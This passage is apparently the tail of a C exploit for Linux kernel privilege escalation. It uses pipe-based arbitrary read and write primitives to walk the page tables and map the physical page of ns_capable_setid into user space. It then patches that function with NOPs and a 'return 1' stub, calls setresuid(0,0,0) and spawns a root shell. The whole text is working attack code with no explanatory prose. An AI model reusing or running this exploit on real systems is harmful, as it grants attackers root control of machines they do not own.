printf("\033[34m\033[1m[*] kernel stack's addr:\033[0m0x%lx\n", stack_addr); printf("\033[34m\033[1m[*] mm_struct's addr:\033[0m0x%lx\n", mm_struct_addr);
mm_struct_page = direct_map_addr_to_page_addr(mm_struct_addr);
printf("\033[34m\033[1m[*] mm_struct's page:\033[0m0x%lx\n", mm_struct_page);
arbitrary_read_by_pipe((struct page *)mm_struct_page, buf); arbitrary_read_by_pipe((struct page *)(mm_struct_page + 0x40), &buf[512 * 8]);
mm_struct_buf = (size_t *)((size_t)buf + (mm_struct_addr & 0xfff));
pgd_addr = mm_struct_buf[9];
printf("\033[32m\033[1m[+] Got kernel page table of current task:\033[0m" "0x%lx\n\n", pgd_addr); } { char *kcode_map; size_t dst_paddr, dst_vaddr;
kcode_map = mmap((void *)0x114514000, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (!kcode_map) { errExit("FAILED to create mmap area!"); }
for (int i = 0; i < 8; i++) { kcode_map[i] = "0x196082"[i]; kcode_map[i + 0x1000] = "0x196082"[i]; }
dst_vaddr = NS_CAPABLE_SETID + kernel_offset; printf("\033[34m\033[1m[*] vaddr of ns_capable_setid is: \033[0m0x%lx\n", dst_vaddr);
size_t pud_addr, pmd_addr;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pgd_addr), buf); pud_addr = (*(size_t *)((size_t *)buf + PGD_ENTRY(dst_vaddr)) & (~0xfff)) & (~PAGE_ATTR_NX); pud_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pud_addr), buf); pmd_addr = (*(size_t *)((size_t *)buf + PUD_ENTRY(dst_vaddr)) & (~0xfff)) & (~PAGE_ATTR_NX); pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pmd_addr), buf); dst_paddr = (*(size_t *)((size_t *)buf + PMD_ENTRY(dst_vaddr)) & (~0xfff)) & (~PAGE_ATTR_NX);
dst_paddr += 0x1000 * PTE_ENTRY(dst_vaddr);
printf("\033[32m\033[1m[+] Got ns_capable_setid's phys addr: \033[0m" "0x%lx\n\n", dst_paddr);
size_t pte_addr; { arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pgd_addr), buf); pud_addr = (*(size_t *)((size_t *)buf + PGD_ENTRY(0x114514000)) & (~0xfff)) & (~PAGE_ATTR_NX); pud_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pud_addr), buf); pmd_addr = (*(size_t *)((size_t *)buf + PUD_ENTRY(0x114514000)) & (~0xfff)) & (~PAGE_ATTR_NX); pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pmd_addr), buf); pte_addr = (*(size_t *)((size_t *)buf + PMD_ENTRY(0x114514000)) & (~0xfff)) & (~PAGE_ATTR_NX); pte_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pte_addr), buf); *(size_t *)((size_t *)buf + PTE_ENTRY(0x114514000)) = dst_paddr | 0x8000000000000867; arbitrary_write_by_pipe((void *)direct_map_addr_to_page_addr(pte_addr), buf, 0xff0); }
{ arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pgd_addr), buf); pud_addr = (*(size_t *)((size_t *)buf + PGD_ENTRY(0x114514000 + 0x1000)) & (~0xfff)) & (~PAGE_ATTR_NX); pud_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pud_addr), buf); pmd_addr = (*(size_t *)((size_t *)buf + PUD_ENTRY(0x114514000 + 0x1000)) & (~0xfff)) & (~PAGE_ATTR_NX); pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pmd_addr), buf); pte_addr = (*(size_t *)((size_t *)buf + PMD_ENTRY(0x114514000 + 0x1000)) & (~0xfff)) & (~PAGE_ATTR_NX); pte_addr += page_offset_base;
arbitrary_read_by_pipe((void *)direct_map_addr_to_page_addr(pte_addr), buf); *(size_t *)((size_t *)buf + PTE_ENTRY(0x114514000 + 0x1000)) = (dst_paddr + 0x1000) | 0x8000000000000867; arbitrary_write_by_pipe((void *)direct_map_addr_to_page_addr(pte_addr), buf, 0xff0); }
puts("[*] Start overwriting kernel code segment...");
memset(kcode_map + (NS_CAPABLE_SETID & 0xfff), '\x90', 0x40); memcpy(kcode_map + (NS_CAPABLE_SETID & 0xfff) + 0x40, "\xf3\x0f\x1e\xfa" "H\xc7\xc0\x01\x00\x00\x00" "\xc3", 12);
puts("[*] trigger evil ns_capable_setid() in setresuid()...\n");
sleep(5);
setresuid(0, 0, 0); get_shell(); } }
return 0; }
|